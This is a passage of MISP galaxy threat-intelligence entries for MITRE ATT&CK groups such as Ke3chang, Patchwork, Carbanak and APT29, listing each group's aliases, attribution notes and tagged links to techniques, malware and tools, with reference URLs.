[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)
The tag is: misp-galaxy:mitre-intrusion-set="Moafee - G0002"
Moafee - G0002 is also known as:
-
Moafee
Moafee - G0002 has relationships with:
-
similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Ke3chang - G0004
[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Ke3chang - G0004"
Ke3chang - G0004 is also known as:
-
Ke3chang
-
APT15
-
Mirage
-
Vixen Panda
-
GREF
-
Playful Dragon
-
RoyalAPT
Ke3chang - G0004 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="MirageFox - S0280" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="spwebmember - S0227" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/ |
Cleaver - G0003
[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)
The tag is: misp-galaxy:mitre-intrusion-set="Cleaver - G0003"
Cleaver - G0003 is also known as:
-
Cleaver
-
Threat Group 2889
-
TG-2889
Cleaver - G0003 has relationships with:
-
similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Net Crawler - S0056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Build social network persona - T1341" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345" with estimative-language:likelihood-probability="almost-certain"
Links |
Patchwork - G0040
[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Patchwork - G0040"
Patchwork - G0040 is also known as:
-
Patchwork
-
Dropping Elephant
-
Chinastrats
-
MONSOON
-
Operation Hangover
Patchwork - G0040 has relationships with:
-
similar: misp-galaxy:threat-actor="Dropping Elephant" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="NDiskMonitor - S0272" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Unknown Logger - S0130" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BADNEWS - S0128" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="AutoIt backdoor - S0129" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="TINYTYPHON - S0131" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Carbanak - G0008
[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)
The tag is: misp-galaxy:mitre-intrusion-set="Carbanak - G0008"
Carbanak - G0008 is also known as:
-
Carbanak
-
Anunak
-
Carbon Spider
Carbanak - G0008 has relationships with:
-
similar: misp-galaxy:threat-actor="Anunak" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Carbanak - S0030" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/ |
WIRTE - G0090
[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)
The tag is: misp-galaxy:mitre-intrusion-set="WIRTE - G0090"
WIRTE - G0090 is also known as:
-
WIRTE
WIRTE - G0090 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
Links |
https://lab52.io/blog/wirte-group-attacking-the-middle-east/ |
PittyTiger - G0011
[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)
The tag is: misp-galaxy:mitre-intrusion-set="PittyTiger - G0011"
PittyTiger - G0011 is also known as:
-
PittyTiger
PittyTiger - G0011 has relationships with:
-
similar: misp-galaxy:threat-actor="Pitty Panda" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Lurid - S0010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2 |
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html |
APT16 - G0023
[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)
The tag is: misp-galaxy:mitre-intrusion-set="APT16 - G0023"
APT16 - G0023 is also known as:
-
APT16
APT16 - G0023 has relationships with:
-
uses: misp-galaxy:mitre-malware="ELMER - S0064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
APT17 - G0025
[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)
The tag is: misp-galaxy:mitre-intrusion-set="APT17 - G0025"
APT17 - G0025 is also known as:
-
APT17
-
Deputy Dog
APT17 - G0025 has relationships with:
-
similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Build social network persona - T1341" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331" with estimative-language:likelihood-probability="almost-certain"
Links |
APT18 - G0026
[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)
The tag is: misp-galaxy:mitre-intrusion-set="APT18 - G0026"
APT18 - G0026 is also known as:
-
APT18
-
TG-0416
-
Dynamite Panda
-
Threat Group-0416
APT18 - G0026 has relationships with:
-
similar: misp-galaxy:threat-actor="Wekby" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Samurai Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Maverick Panda" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Pisloader - S0124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
APT29 - G0016
[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)
The tag is: misp-galaxy:mitre-intrusion-set="APT29 - G0016"
APT29 - G0016 is also known as:
-
APT29
-
YTTRIUM
-
The Dukes
-
Cozy Bear
-
CozyDuke
APT29 - G0016 has relationships with:
-
similar: misp-galaxy:threat-actor="APT 29" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="meek - S0175" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PinchDuke - S0048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CozyCar - S0046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CloudDuke - S0054" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PowerDuke - S0139" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="GeminiDuke - S0049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CosmicDuke - S0050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="MiniDuke - S0051" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HAMMERTOSS - S0037" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="POSHSPY - S0150" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="OnionDuke - S0052" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SeaDuke - S0053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
Darkhotel - G0012
[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)
The tag is: misp-galaxy:mitre-intrusion-set="Darkhotel - G0012"
Darkhotel - G0012 is also known as:
-
Darkhotel
Darkhotel - G0012 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
